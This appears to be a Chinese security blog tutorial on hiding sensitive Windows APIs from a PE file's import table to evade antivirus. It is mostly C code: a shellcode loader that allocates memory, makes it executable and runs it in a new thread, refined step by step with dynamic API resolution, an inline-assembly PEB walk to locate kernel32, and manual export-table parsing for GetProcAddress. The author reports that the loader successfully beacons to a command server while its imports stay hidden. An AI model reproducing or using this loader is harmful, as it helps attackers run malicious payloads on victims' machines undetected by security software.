前言
在PE文件中,存在iat導入表,記錄了PE文件使用的API以及相關的dll模塊。
編譯一個MessageBox文件,查看其導入表:
#include#include
int main(){ printf("hello world"); MessageBox(0, TEXT("hello world"), 0, 0); return 0;}
可以看到使用了MessageBox這個API

殺軟會對導入表進行查殺,如果發現存在惡意的API,比如VirtualAlloc,CreateThread等,就會認為文件是一個惡意文件。我們可以通過自定義API的方式隱藏導入表中的惡意API。
自定義API函數
FARPROC GetProcAddress( [in] HMODULE hModule, 包含函數或變量的 DLL 模塊的句柄 [in] LPCSTR lpProcName 函數或變量名稱);定義:typedef int (FAR WINAPI *FARPROC)(); HMODULE GetModuleHandleA( LPCSTR lpModuleName // 模塊名稱); // 成功返回句柄 失敗返回NULL HMODULE LoadLibraryA( LPCSTR lpLibFileName // 一個dll文件); // 成功返回句柄 失敗返回NULL
這里GetModuleHandle和LoadLibrary作用是一樣的,獲取dll文件。
通過以上函數自定義API。
#include#include
typedef int(WINAPI * pMessageBox) (
HWND hWnd, LPCTSTR lpText, LPCTSTR lpCaption, UINT uType );
int main(){
printf("hello world"); pMessageBox MyMessageBox = (pMessageBox)GetProcAddress(LoadLibrary("User32.dll"), "MessageBoxA"); MyMessageBox(0, TEXT("hello world"), 0, 0); return 0;}
程序可以正常運行:

查看其導入表:
User32.dll和MessageBox都不存在。

實戰測試
用創建進程的方式加載shellcode。
#include #include #include #include // 入口函數int wmain(int argc, TCHAR * argv[]) {
int shellcode_size = 0; // shellcode長度 DWORD dwThreadId; // 線程ID HANDLE hThread; // 線程句柄 DWORD dwOldProtect; // 內存頁屬性
char buf[] = "";
// 獲取shellcode大小 shellcode_size = sizeof(buf);
char * shellcode = (char *)VirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE // 只申請可讀可寫 ); // 將shellcode復制到可讀可寫的內存頁中 CopyMemory(shellcode, buf, shellcode_size);
// 這里開始更改它的屬性為可執行 VirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
hThread = CreateThread( NULL, // 安全描述符 NULL, // 棧的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函數 NULL, // 參數 NULL, // 線程標志 &dwThreadId // 線程ID ); WaitForSingleObject(hThread, INFINITE); // 一直等待線程執行結束 return 0;}
我們將這里敏感的API進行自定義:
//VirtualProtecttypedef BOOL(WINAPI * pVirtualProtect) ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
pVirtualProtect MyVirtualProtect = (pVirtualProtect)GetProcAddress(LoadLibrary("kernel32.dll"), "VirtualProtect");
//CreateThreadtypedef HANDLE(WINAPI * pCreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
pCreateThread MyCreateThread = (pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");//VirtualAlloctypedef LPVOID (WINAPI *pVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
最終代碼:
#include #include #include #include
//自定義API
typedef BOOL(WINAPI * pVirtualProtect) ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
pVirtualProtect MyVirtualProtect = (pVirtualProtect)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");
typedef HANDLE(WINAPI * pCreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );
pCreateThread MyCreateThread = (pCreateThread)GetProcAddress(GetModuleHandle("kernel32.dll"),"CreateThread");
typedef LPVOID (WINAPI *pVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);
pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAlloc");
// 入口函數int wmain(int argc, TCHAR * argv[]) {
int shellcode_size = 0; // shellcode長度 DWORD dwThreadId; // 線程ID HANDLE hThread; // 線程句柄 DWORD dwOldProtect; // 內存頁屬性/* length: 800 bytes */
char buf[] = "";
// 獲取shellcode大小 shellcode_size = sizeof(buf);
char * shellcode = (char *)MyVirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE // 只申請可讀可寫 ); // 將shellcode復制到可讀可寫的內存頁中 CopyMemory(shellcode, buf, shellcode_size);
// 這里開始更改它的屬性為可執行 MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect);
hThread = MyCreateThread( NULL, // 安全描述符 NULL, // 棧的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函數 NULL, // 參數 NULL, // 線程標志 &dwThreadId // 線程ID ); WaitForSingleObject(hThread, INFINITE); // 一直等待線程執行結束 return 0;}
可以成功上線:

查看導入表:

可以看到,自定義的三個API已經看不到了,但是GetProcAddress和GetModuleHandle也可能會作為殺軟識別的對象。
深入隱藏
通過手動獲取dll文件的方式,獲取這兩個函數的地址。
大致流程:
- 找到kernel32.dll的地址
- 遍歷啊kernel32.dll的導入表,找到GetProcAddress的地址
- 使用GetProcAddress獲取LoadLibrary函數的地址
- 然后使用 LoadLibrary加載DLL文件
- 使用 GetProcAddress查找某個函數的地址
- ### 獲取kernel32.dll的地址
- 這里使用匯編獲取,先貼代碼。
DWORD GetKernel32Address() {DWORD dwKernel32Addr = 0;_asm { mov eax, fs: [0x30] mov eax, [eax + 0x0c] mov eax, [eax + 0x14] mov eax, [eax] mov eax, [eax] mov eax, [eax + 0x10] mov dwKernel32Addr, eax } return dwKernel32Addr;}
1.這里有兩個關鍵的結構,TEB(線程環境塊)和PEB(進程環境塊)。PEB結構存儲著整個進程的信息。而PEB結構又存放在TEB中。
這兩個結構指針都存放在fs寄存器中,fs:[0x30]是PEB fs:[0x18]是TEB。
接下來再分析上面代碼的具體過程:
mov eax, fs: [0x30]指向PEB結構

mov eax, [eax + 0xc]0xc處存放者LDR指針它指向一個_PEB_LDR_DATA結構

mov eax, [eax + 0x14]指向LDR指針中的InMemoryOrderModuleList鏈表

這里面有三個鏈表,這三個列表中的模塊是一樣的,只是順序不同。

mov eax, [eax]mov eax, [eax]
因為kernel32的位置是第三個,第一個是InMemoryOrderModuleList本身,向下兩次,就找到了kernel32(這塊還不是很理解)。
最后就是獲取kernel32的基址:
mov eax, [eax + 0x10]InMemoryOrderModuleList 再偏移0x10,指向dllbase

### 獲取GetProcAddress
不做敘述,有興趣的可以自行學習,代碼如下:
DWORD RGetProcAddress() { //獲取kernel32的地址 DWORD dwAddrBase = GetKernel32Address(); //獲取Dos頭 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase; //獲取Nt頭 Nt頭=dll基址+Dos頭 PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase); //數據目錄表 擴展頭 數據目錄表 + 導出表 定位導出表 PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory +IMAGE_DIRECTORY_ENTRY_EXPORT; //導出表 //導出表地址 PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress); //函數總數 DWORD dwFunCount = pExport->NumberOfFunctions; //函數名稱數量 DWORD dwFunNameCount = pExport->NumberOfNames; //函數地址 PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase); //函數名稱地址 PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase); //序號表 PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals+ dwAddrBase); //遍歷函數總數 for (size_t i = 0; i < dwFunCount; i++) { //判斷函數地址是否存在 if (!pAddrOfFun[i]) { continue; } //通過函數地址遍歷函數名稱地址,獲取想要的函數 DWORD dwFunAddrOffset = pAddrOfFun[i]; for (size_t j = 0; j < dwFunNameCount; j++) { if (pAddrOfOrdinals[j] == i) { DWORD dwNameOffset = pAddrOfNames[j]; char * pFunName = (char *)(dwAddrBase + dwNameOffset); if (strcmp(pFunName,"GetProcAddress")==0) { return dwFunAddrOffset + dwAddrBase; } } } }}
## 完整代碼
#include #include #include #include DWORD GetKernel32Address() { DWORD dwKernel32Addr = 0; _asm { mov eax, fs: [0x30] mov eax, [eax + 0x0c] mov eax, [eax + 0x14] mov eax, [eax] mov eax, [eax] mov eax, [eax + 0x10] mov dwKernel32Addr, eax } return dwKernel32Addr;}DWORD RGetProcAddress() { //獲取kernel32的地址 DWORD dwAddrBase = GetKernel32Address(); //獲取Dos頭 PIMAGE_DOS_HEADER pDos = (PIMAGE_DOS_HEADER)dwAddrBase; //獲取Nt頭 PIMAGE_NT_HEADERS pNt = (PIMAGE_NT_HEADERS)(pDos->e_lfanew + dwAddrBase); //數據目錄表 擴展頭 數據目錄表 + 導出表 定位導出表 PIMAGE_DATA_DIRECTORY pDataDir = pNt->OptionalHeader.DataDirectory + IMAGE_DIRECTORY_ENTRY_EXPORT; //導出表 //導出表地址 PIMAGE_EXPORT_DIRECTORY pExport = (PIMAGE_EXPORT_DIRECTORY)(dwAddrBase + pDataDir->VirtualAddress); //函數總數 DWORD dwFunCount = pExport->NumberOfFunctions; //函數名稱數量 DWORD dwFunNameCount = pExport->NumberOfNames; //函數地址 PDWORD pAddrOfFun = (PDWORD)(pExport->AddressOfFunctions + dwAddrBase); //函數名稱地址 PDWORD pAddrOfNames = (PDWORD)(pExport->AddressOfNames + dwAddrBase); //序號表 PWORD pAddrOfOrdinals = (PWORD)(pExport->AddressOfNameOrdinals + dwAddrBase); for (size_t i = 0; i < dwFunCount; i++) { if (!pAddrOfFun[i]) { continue; } DWORD dwFunAddrOffset = pAddrOfFun[i]; for (size_t j = 0; j < dwFunNameCount; j++) { if (pAddrOfOrdinals[j] == i) { DWORD dwNameOffset = pAddrOfNames[j]; char * pFunName = (char *)(dwAddrBase + dwNameOffset); if (strcmp(pFunName, "GetProcAddress") == 0) { return dwFunAddrOffset + dwAddrBase; } } } }}//自定義API//獲取kernel32.dll地址HMODULE hKernel32 = (HMODULE)GetKernel32Address();//自定義GetProcAddresstypedef FARPROC(WINAPI *pGetProcAddress)( _In_ HMODULE hModule, _In_ LPCSTR lpProcName );//動態獲取GetProcAddresspGetProcAddress MyGetProcAddress = (pGetProcAddress)RGetProcAddress();//自定義GetModuleHandletypedef HMODULE(WINAPI* pGetModuleHandle)( _In_ LPCSTR lpLibFileName );pGetModuleHandle MyGetModuleHandle = (pGetModuleHandle)MyGetProcAddress(hKernel32, "GetModuleHandle");//自定義VirtualProtecttypedef BOOL(WINAPI * pVirtualProtect) ( LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);pVirtualProtect MyVirtualProtect = (pVirtualProtect)MyGetProcAddress(hKernel32, "VirtualProtect");//自定義CreateThreadtypedef HANDLE(WINAPI * pCreateThread)( LPSECURITY_ATTRIBUTES lpThreadAttributes, SIZE_T dwStackSize, LPTHREAD_START_ROUTINE lpStartAddress, __drv_aliasesMem LPVOID lpParameter, DWORD dwCreationFlags, LPDWORD lpThreadId );pCreateThread MyCreateThread = (pCreateThread)MyGetProcAddress(hKernel32,"CreateThread");//自定義VirtualAlloctypedef LPVOID (WINAPI *pVirtualAlloc)( LPVOID lpAddress, SIZE_T dwSize, DWORD flAllocationType, DWORD flProtect);pVirtualAlloc MyVirtualAlloc = (pVirtualAlloc)MyGetProcAddress(hKernel32, "VirtualAlloc");// 入口函數int wmain(int argc, TCHAR * argv[]) { int shellcode_size = 0; // shellcode長度 DWORD dwThreadId; // 線程ID HANDLE hThread; // 線程句柄 DWORD dwOldProtect; // 內存頁屬性 char buf[] = ""; // 獲取shellcode大小 shellcode_size = sizeof(buf); char * shellcode = (char *)MyVirtualAlloc( NULL, shellcode_size, MEM_COMMIT, PAGE_READWRITE // 只申請可讀可寫 ); // 將shellcode復制到可讀可寫的內存頁中 CopyMemory(shellcode, buf, shellcode_size); // 這里開始更改它的屬性為可執行 MyVirtualProtect(shellcode, shellcode_size, PAGE_EXECUTE, &dwOldProtect); hThread = MyCreateThread( NULL, // 安全描述符 NULL, // 棧的大小 (LPTHREAD_START_ROUTINE)shellcode, // 函數 NULL, // 參數 NULL, // 線程標志 &dwThreadId // 線程ID ); WaitForSingleObject(hThread, INFINITE); // 一直等待線程執行結束 return 0;}
成功上線:

查看導入表,敏感API都已隱藏:

合天網安實驗室
合天網安實驗室
重生信息安全
雷石安全實驗室
雷石安全實驗室
看雪學苑
合天網安實驗室
看雪學苑
合天網安實驗室
看雪學苑
0x00實驗室
一顆小胡椒
一顆小胡椒